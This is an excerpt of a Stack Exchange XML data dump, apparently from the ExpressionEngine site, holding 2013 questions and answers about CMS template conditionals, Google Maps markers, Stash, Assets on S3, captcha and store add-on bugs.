Tags="|conditionals|relationships|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13041" PostTypeId="2" ParentId="13040" CreationDate="2013-08-22T15:30:12.090" Score="2" Body="&lt;p&gt;I hate to suggest it, but have you tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if course-venue:telephone != &quot;&quot;}&amp;lt;p&amp;gt;Telephone: {course-venue:telephone}&amp;lt;/p&amp;gt;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or alternatively&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{course-venue:telephone}' != &quot;&quot;}&amp;lt;p&amp;gt;Telephone: {course-venue:telephone}&amp;lt;/p&amp;gt;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems like logically what you tried should work, but I've not used the new native relationship field to try something like this.  You do of course have the chunk you included above wrapped in {course-venue} and {/course-venue}, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does it return the right data without the conditional (i.e. for your other related custom fields in the related entry)?&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-08-22T15:30:12.090" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13043" PostTypeId="1" AcceptedAnswerId="15225" CreationDate="2013-08-22T17:01:00.217" Score="0" ViewCount="73" Body="&lt;p&gt;If I create a matrix field with 5 columns, I am fine. However, if I create one with 6 or more, I am locked out of editing custom field types. I don't see any errors. No CP errors are triggered and the data remains in the db. I cannot, however, go edit the field type to modify or remove the extra field in the matrix. I have to edit the db table and forcefully remove it from the table. After doing this, I can once again edit the fieldtype and rebuild it without the last addition. I have run into this a few times on older sites. I haven't had the need for that many matrix columns on anything in EE2 yet so I don't know if this extended to that or not. Has anyone else run into this before?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running EE 1.6.8 on the sites this has happened on.&lt;/p&gt;&#xA;" OwnerUserId="3139" LastEditorUserId="1900" LastEditDate="2013-08-23T00:40:09.320" LastActivityDate="2013-10-31T17:20:45.850" Title="Matrix field blowing up after 6 columns" Tags="|matrix|pixelandtonic|ee1|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13044" PostTypeId="1" AcceptedAnswerId="13048" CreationDate="2013-08-22T17:18:36.543" Score="1" ViewCount="197" Body="&lt;p&gt;I have a custom CSV field for coordinates {map_coordinates} (e.g., &quot;47.262223,-122.451725&quot;) and would like to loop through each entry and plot those coordinates onto a maps (using the Google Maps A:PI v3) as well as add listeners to each.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function initialize() {&#xA;&#xA;  var map;&#xA;&#xA;  /* this works. It gets the most recent entry and if you use a marker it plots it&#xA;     just fine. It's when dealing with multiple markers (vis., no 'limit' on returning&#xA;     entries) that it negates to plot anything and breaks (the map doesn't even show). */&#xA;  {exp:channel:entries channel=&quot;maps_channel&quot; limit=&quot;1&quot;}&#xA;    /* {map_coordinates} is the custom field */&#xA;    var mLatLng = new google.maps.LatLng({map_coordinates});&#xA;    map = new google.maps.Map(document.getElementById(&quot;map-canvas&quot;), {&#xA;      center: mLatLng,&#xA;      mapTypeId: google.maps.MapTypeId.ROADMAP,&#xA;      zoom: 13&#xA;    });&#xA;  {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's this lower section ( the one to plot all of the coords for the map) that I'm having trouble with. Ideally the upper and lower section should be integrated, but for the time-being I'm just trying to get it to work :p&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  /* Create an array with the size of the total entries in the channel */&#xA;  var articles = new Array({total_results});&#xA;  var marker, i;&#xA;&#xA;  /* add markers for each article &#xA;     add listeners for each article */&#xA;&#xA;  for (i = 0; i &amp;lt; articles.length; i++) {&#xA;    marker = new google.maps.Marker({&#xA;      /* get the {map_coordinates} at the current &#xA;         index 'i' and plot them with a new marker. &#xA;         the code 'position: articles[i]{map_coordinates} doesn't &#xA;          work and I didn't expect it to; I'm including it to show &#xA;          exactly what I need done.*/&#xA;      position: articles[i]{map_coordinates},&#xA;      map: map&#xA;    });&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you would be well to assume I am new to EE and somewhat new to JS. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been using the following resources to try and remedy this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://net.tutsplus.com/tutorials/cmss/creating-a-google-map-with-expressionengine/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://net.tutsplus.com/tutorials/cmss/creating-a-google-map-with-expressionengine/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/3059044/google-maps-js-api-v3-simple-multiple-marker-example&quot;&gt;https://stackoverflow.com/questions/3059044/google-maps-js-api-v3-simple-multiple-marker-example&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1931" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-08-22T18:10:43.087" Title="Javascript array of custom Fields" Tags="|custom-fields|javascript|google-maps|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13045" PostTypeId="1" AcceptedAnswerId="13207" CreationDate="2013-08-22T17:46:04.973" Score="1" ViewCount="168" Body="&lt;p&gt;Can't quite figure this one out. Trying to set and then get &quot;program_sponsor&quot; within stash:content&lt;/p&gt;&#xA;&#xA;&lt;p&gt;program_sponsor is returning blank with stash:get&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set parse_tags=&quot;yes&quot; parse_conditionals=&quot;yes&quot;}&#xA;    {exp:switchee variable=&quot;{segment_2}&quot;}&#xA;        {case default=&quot;yes&quot;}&#xA;            {stash:content}&#xA;                {exp:channel:entries channel=&quot;programs&quot; url_title=&quot;{segment_2}&quot; dynamic=&quot;no&quot; limit=&quot;1&quot;}&#xA;                    {stash:program_sponsor}&#xA;                        &amp;lt;p&amp;gt;Who loves bacon?&amp;lt;/p&amp;gt;&#xA;                    {/stash:program_sponsor}&#xA;                {/exp:channel:entries}&#xA;&#xA;                {!-- &#xA;                    chunck of other channel entry code goes in-between here&#xA;                --}&#xA;&#xA;                {!-- Need to output this variable set earlier above --}&#xA;                {exp:stash:get name=&quot;program_sponsor&quot;}&#xA;&#xA;            {/stash:content}&#xA;        {/case}&#xA;    {/exp:switchee}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="931" LastActivityDate="2013-08-27T21:55:06.447" Title="Stash get within the same set" Tags="|stash|parse-order|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13046" PostTypeId="2" ParentId="13028" CreationDate="2013-08-22T17:53:57.917" Score="1" Body="&lt;p&gt;I'm not sure if this could be the answer, but just a thought.. instead of    status=&quot;not closed&quot; using status=&quot;open&quot; ?&lt;/p&gt;&#xA;" OwnerUserId="337" LastActivityDate="2013-08-22T17:53:57.917" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13047" PostTypeId="1" AcceptedAnswerId="13089" CreationDate="2013-08-22T18:00:45.770" Score="0" ViewCount="194" Body="&lt;p&gt;I have a file on S3 uploaded with Assets. The full URL is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://s3-us-west-2.amazonaws.com/my-bucket/source-folder/subfolder/file-name.pdf&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;source-folder&lt;/code&gt; is the subfolder in the bucket where the Assets directory is set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to output this path:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;source-folder/subfolder/file-name.pdf&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{my_assets_field:server_path}&lt;/code&gt; gets me &lt;code&gt;/subfolder/file-name.pdf&lt;/code&gt;, but I can't find any way in the Assets field tag to dynamically output the source folder.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2013-09-06T14:57:19.020" Title="Assets &amp; S3: Output Source Folder + Subfolder + Filename" Tags="|assets|s3|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13048" PostTypeId="2" ParentId="13044" CreationDate="2013-08-22T18:03:56.757" Score="2" Body="&lt;p&gt;Try This...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function initialize() {&#xA;  var map, marker, pos;&#xA;  {exp:channel:entries channel=&quot;maps_channel&quot;}&#xA;    {if count == 1}&#xA;      var mLatLng = new google.maps.LatLng({map_coordinates});&#xA;      map = new google.maps.Map(document.getElementById(&quot;map-canvas&quot;), {&#xA;        center: mLatLng,&#xA;        mapTypeId: google.maps.MapTypeId.ROADMAP,&#xA;        zoom: 13&#xA;      });&#xA;    {/if}&#xA;&#xA;    pos = new google.maps.LatLng({map_coordinates});&#xA;    marker = new google.maps.Marker({&#xA;        position: pos,&#xA;        title: &quot;{title}&quot;,&#xA;        map: map&#xA;    });&#xA;  {/exp:channel:entries}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: I've also added title just to show it's possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also want to consider one of these instead:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/google-maps&quot; rel=&quot;nofollow&quot;&gt;Google Maps&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/gmaps&quot; rel=&quot;nofollow&quot;&gt;GMaps&lt;/a&gt; as well as &lt;a href=&quot;http://devot-ee.com/add-ons/gmaps-fieldtype&quot; rel=&quot;nofollow&quot;&gt;Gmaps Fieldtype&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/mx-google-maps&quot; rel=&quot;nofollow&quot;&gt;MX Google Maps&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/maps&quot; rel=&quot;nofollow&quot;&gt;Maps&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/mapper&quot; rel=&quot;nofollow&quot;&gt;Mapper&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="425" LastEditorUserId="425" LastEditDate="2013-08-22T18:10:43.087" LastActivityDate="2013-08-22T18:10:43.087" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13049" PostTypeId="1" CreationDate="2013-08-22T18:18:07.497" Score="1" ViewCount="526" Body="&lt;p&gt;I've confirmed the server requirements for the windows server and they match or exceed what is recommended.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have uploaded the files to a directory on the server and am trying to run the ExpressionEngine installer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I continue to get a &quot;The page cannot be found&quot; error. This is my first time trying to install on a windows server, so I'm not sure if I'm missing something. Do I need to add a php.ini file, .htaccess, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="311" LastActivityDate="2013-08-22T18:18:07.497" Title="How do Install ExpressionEngine on IIS" Tags="|ee2|php|" AnswerCount="0" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="13050" PostTypeId="1" AcceptedAnswerId="13183" CreationDate="2013-08-22T18:23:09.030" Score="0" ViewCount="1042" Body="&lt;p&gt;I am trying to add a captcha to a &lt;a href=&quot;http://financialadvisorycorp.com/index.php/contact&quot; rel=&quot;nofollow&quot;&gt;site&lt;/a&gt; that is running EE 2.6.1.  I am using solspace freeform 4.0.12 (the free version, not pro) and accessible captcha 2.3.  The code for the captcha is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;tr&amp;gt;&#xA;    &amp;lt;td colspan=&quot;2&quot; style=&quot;margin-left:144;&quot;&amp;gt;&#xA;        {if captcha}&#xA;            &amp;lt;p&amp;gt;{captcha}&amp;lt;br /&amp;gt; &amp;lt;input type=&quot;text&quot; name=&quot;captcha&quot; value=&quot;&quot; size=&quot;20&quot; maxlength=&quot;20&quot; style=&quot;width:140px;&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;        {/if}&#xA;    &amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I remove the {if captcha} tags, the question/answer pair shows up, but it also allows the form to be submitted with an incorrect or missing answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also tested the page on multiple browsers to make sure that I'm not logged in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="1681" LastActivityDate="2016-06-24T13:40:07.163" Title="EE2: Captcha if statement not working" Tags="|ee2|solspace-freeform|captcha|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13051" PostTypeId="2" ParentId="13035" CreationDate="2013-08-22T18:57:25.980" Score="1" Body="&lt;p&gt;In your Results loop you could add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;orderby=&quot;channel_name&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You would then want to store the last items channel_name and compare it to the current items channel_name to find when you wanted to actually output the channel_name to the screen.&lt;/p&gt;&#xA;" OwnerUserId="1762" LastActivityDate="2013-08-22T18:57:25.980" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13052" PostTypeId="1" AcceptedAnswerId="13053" CreationDate="2013-08-22T19:06:37.697" Score="4" ViewCount="741" Body="&lt;p&gt;I need to look at the contents of the site_system_preferences column in the exp_sites table. How do I decode this data? &lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-08-22T19:17:02.723" Title="How do I decode columns in the exp_sites table?" Tags="|database|how-to|site-preferences|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13053" PostTypeId="2" ParentId="13052" CreationDate="2013-08-22T19:06:37.697" Score="6" Body="&lt;p&gt;The encoded string stored in the site_system_preferences column is a base64 encoded serialized array. Follow these steps to both unserialize and decode the string:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to &lt;a href=&quot;http://blog.tanist.co.uk/files/unserialize/index.php&quot; rel=&quot;noreferrer&quot;&gt;http://blog.tanist.co.uk/files/unserialize/index.php&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Paste the entire string from the site_system_preferences column into the &quot;Unserializer input&quot; textarea field on the left of the page&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure to select the &quot;base64 decode (top level)&quot; checkbox located at the bottom right&#xA;of the field&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click the &quot;Unserialize&quot; button&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This will show you the contents of the site_system_preferences column.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;This also applies to these columns in the exp_sites table:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;site_mailinglist_preferences &lt;/li&gt;&#xA;&lt;li&gt;site_member_preferences&lt;/li&gt;&#xA;&lt;li&gt;site_template_preferences &lt;/li&gt;&#xA;&lt;li&gt;site_channel_preferences&lt;/li&gt;&#xA;&lt;li&gt;site_bootstrap_checksums &lt;/li&gt;&#xA;&lt;li&gt;site_pages&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-08-22T19:17:02.723" LastActivityDate="2013-08-22T19:17:02.723" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13054" PostTypeId="2" ParentId="13043" CreationDate="2013-08-22T19:43:11.963" Score="0" Body="&lt;p&gt;Just guessing, but if the Matrix field is somehow getting blown-up by the columns you're adding, it may be blowing-up the Matrix Javascript and/or EE CP Javascript, which then prevents you from editing the field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you try to edit fields, in what way are you &quot;locked out&quot;? Take a look at your browser's Javascript console, and look for errors that arise at the point where you're stuck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, what version of Matrix are you using? If it's less than FF Matrix  1.3.5, you may want to upgrade to 1.3.5.&lt;/p&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2013-08-22T19:43:11.963" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13056" PostTypeId="2" ParentId="12980" CreationDate="2013-08-22T20:20:41.280" Score="2" Body="&lt;p&gt;Two possible strategies come to mind for this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;As another user suggested, create as many Name, Address, Phone and Email fields as you need or think will need, and add a suffix for each field name (eg. &lt;code&gt;name_1&lt;/code&gt;, &lt;code&gt;name_2&lt;/code&gt;, etc)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you're manually creating your fields in the template using &lt;code&gt;{exp:freeform:form}&lt;/code&gt;, add brackets &lt;code&gt;[]&lt;/code&gt; to your field names so that you save the data as an &lt;em&gt;array&lt;/em&gt; of data. Eg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Name: &amp;lt;input type=&quot;text&quot; name=&quot;name[]&quot; /&amp;gt;&#xA;Name: &amp;lt;input type=&quot;text&quot; name=&quot;name[]&quot; /&amp;gt;&#xA;// etc...&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For #2, this will however store all data in a single custom field, separated by a linebreak (&lt;strong&gt;not&lt;/strong&gt; &lt;code&gt;&amp;lt;br /&amp;gt;&lt;/code&gt;, by the way). For example, in the &quot;name&quot; field in the CP you would have the following stored for three names entered:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Curly&#xA;Larry&#xA;Moe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll need PHP to break those apart if you need them later (using PHP's &lt;code&gt;explode()&lt;/code&gt; function or a third-party plugin that does something similar).&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-08-22T20:20:41.280" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13057" PostTypeId="1" CreationDate="2013-08-22T21:00:51.843" Score="1" ViewCount="172" Body="&lt;p&gt;After moving my deployment to a VM for development purposes I now am getting  this error on my pages.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Severity: Notice    &#xA;Message: Array to string conversion&#xA;Filename: playa/ext.playa.php&#xA;Line Number: 175&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Severity: Warning    &#xA;Message: Cannot modify header information - headers already sent by (output started at /home/feeney/webroot/control/codeigniter/system/core/Exceptions.php:170)&#xA;Filename: core/Common.php&#xA;Line Number: 409&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am not clear as to why this is occuring, the pages displays most of the data except those relating to playa.&lt;/p&gt;&#xA;" OwnerUserId="1940" LastEditorUserId="150" LastEditDate="2013-08-22T21:45:38.907" LastActivityDate="2013-08-22T21:45:38.907" Title="Playa ext.playa.php error" Tags="|playa|php-errors|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13058" PostTypeId="1" AcceptedAnswerId="13069" CreationDate="2013-08-22T21:15:45.520" Score="5" ViewCount="229" Body="&lt;p&gt;Have a site that has hundreds of PDF files which users can access once they create an EE member account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Client is asking if there is a way to track which files the user has downloaded and either log them against their account or email the client with a report at the end of a session.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone come across a plugin or third party system that would achieve this?&lt;/p&gt;&#xA;" OwnerUserId="1867" LastActivityDate="2013-08-26T18:59:07.467" Title="Track logged-in user events" Tags="|ee2|members|analytics|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13059" PostTypeId="1" CreationDate="2013-08-22T22:19:52.093" Score="1" ViewCount="43" Body="&lt;p&gt;We figured out that we have had an issue the last few weeks where products are being ordered beyond the qty available.  I was able to replicate how it was done and want to know if there is a fix.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have our product that has 2 available total.  The product has a single SKU product modifier of size.  People have the ability of over ordering the product if they add different sizes to their cart.  For instance if their is 2 packages left and they add 2 smalls, they can go back and then add 2 more mediums to their cart and checkout.  When looking at the backend the qty is now -2 on our end.  How can we get this fixed, so far it's been on products that aren't a big deal but we do have some coming up where it would certainly would be a major issue.&lt;/p&gt;&#xA;" OwnerUserId="1691" LastActivityDate="2013-11-01T22:21:34.997" Title="More products then available being purchased" Tags="|expresso-store|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13060" PostTypeId="1" CreationDate="2013-08-22T22:31:19.317" Score="1" ViewCount="100" Body="&lt;p&gt;It works when I land on the mobile template from desktop, but when viewed from mobile I get an endless loop...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mobile template: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:mobile_detect:redirect location=&quot;http://csw.rizenbuilds.com&quot; redirect=&quot;not_mobile&quot;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The desktop template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:mobile_detect:redirect location=&quot;http://mobilecsw.rizenbuilds.com&quot; redirect=&quot;mobile&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;No clue where this loop comes from. &lt;/p&gt;&#xA;" OwnerUserId="273" LastEditorUserId="27" LastEditDate="2013-08-23T13:32:01.307" LastActivityDate="2013-08-23T13:32:01.307" Title="MX Mobile Device Detect stuck in endless loop" Tags="|redirects|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13061" PostTypeId="1" AcceptedAnswerId="13172" CreationDate="2013-08-22T22:50:04.240" Score="3" ViewCount="373" Body="&lt;p&gt;Here's what I want to do.  I have a store with a variety of products.  some of the products have price modifiers (like custom color, or &quot;base price&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The products have a price per quantity.  But, the products also have a base price.  Additionally, if a customer selects a custom color, then there is a price modification.  But, I don't want the base price, or the custom color price modification to apply to every quantity of that product.  Just once per product in the cart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example:&#xA;These are products that are typically purchased in quantity (think holiday cards).  Each product (the card type) has a minimum order quantity (25).  Even though there is a minimum quantity purchase of 25, I'm managing the pricing per unit (so the store will do all the price calculations, and so the customer can adjust quantity in the cart).  So, the per unit price is $5.  There is a price modifier for color.  There is Black (+$0), White (+$0), and Custom Color (+$30).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the customer orders this card at a quantity of 50 in white, the price will be:&#xA;$250 ($5 x 50)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the customer orders this card at a quantity of 50 in a custom color (they specify the color), the price will be:&#xA;$280 ($5 x 50 = $250 + $30)&#xA;(the custom color charge is a one-time charge.  Not a per unit charge).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;base price&quot; functionality (I'm calling it base price, but it's really a &quot;set up cost for die cutting of certain versions of the cards) can function the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example.  Card A has a per quantity cost of $5.  But, because this is a special type of printing, it requires a one-time setup cost of $50.  So, the price modification is the same as the custom colors above (only the customer doesn't get to choose whether this modifier is selected, it's automatically chosen).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a lot of different products, and the setup cost is different for each product type.  I could do the math and come up with some formula that allows me to include the setup cost in the per unit cost.  But, the set up cost may change over time, where the actual per unit cost will not.  Additionally, if a customer comes back and purchases more of one of the items that they already purchased, then they do not get charged that setup cost.  So, ideally, I'd like to keep it away from the per unit cost, and use it just like the custom color scenario... and in the templates I can just hide that modifier option and make it apply automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clearly, this isn't an option in the expresso store.  Is there a way to create a custom price modifier type/module/add-on that I could use?  Or, any other approach for managing this?  (my fall-back method is to find in the code where the price modifier math is being done and change it from a &quot;multiply against every unit&quot; to a simple &quot;add once per product in the cart&quot;.  I realize that won't survive software updates...  But ALL products would operate this way.. So, I wouldn't have the need to have a standard price modifier function.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thoughts?&lt;/p&gt;&#xA;" OwnerUserId="737" LastActivityDate="2013-08-27T06:36:54.030" Title="Any way to create a custom price modifier?" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13062" PostTypeId="2" ParentId="12619" CreationDate="2013-08-22T23:15:42.487" Score="1" Body="&lt;p&gt;Came up with the solution.&#xA;After the entry has been submitted, hook into safecracker and insert an rsvp entry for the id.&#xA;&lt;code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;public function safecracker_submit_entry_end( &amp;amp;$safecracker ) {&#xA;// Verify this only runs where it should.&#xA;if(  ! $this-&amp;gt;_inEventScope() ) {&#xA;    return false;&#xA;}&#xA;&#xA;$entryID = $safecracker-&amp;gt;entry('entry_id');&#xA;&#xA;if( isset( $entryID ) &amp;amp;&amp;amp; !empty( $entryID ) ) {&#xA;&#xA;    $data = array(&#xA;        'entry_id' =&amp;gt; $entryID,&#xA;        'total_seats' =&amp;gt; 0&#xA;    );&#xA;&#xA;    $query = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;insert( 'exp_cm_rsvp_events', $data );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;" OwnerUserId="1872" LastActivityDate="2013-08-22T23:15:42.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13063" PostTypeId="1" CreationDate="2013-08-22T23:23:49.677" Score="1" ViewCount="219" Body="&lt;p&gt;I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot; limit=&quot;1&quot; status=&quot;open&quot;}&#xA;&#xA;&amp;lt;ul class=&quot;arrow-side-2&quot;&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;h4&amp;gt;Properties&amp;lt;/h4&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;    &amp;lt;p&amp;gt;{properties}&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;ul class=&quot;arrow-side-2&quot;&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;h4&amp;gt;Applications&amp;lt;/h4&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;    &amp;lt;p&amp;gt;{applications}&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;ul class=&quot;arrow-side-2&quot;&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;h4&amp;gt;Production&amp;lt;/h4&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;        &amp;lt;p&amp;gt;{production}&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;ul class=&quot;arrow-side-2&quot;&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;h4&amp;gt;Packaging&amp;lt;/h4&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;    &amp;lt;p&amp;gt;{packaging}&amp;lt;/p&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I hide:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;arrow-side-2&quot;&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;h4&amp;gt;Production&amp;lt;/h4&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;        &amp;lt;p&amp;gt;{production}&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If there is nothing in the {production} field?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1942" LastEditorUserId="55" LastEditDate="2013-08-23T12:33:37.313" LastActivityDate="2013-08-23T12:33:58.127" Title="How do I show a field if it contains content, but hide it if it's empty?" Tags="|ee2|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
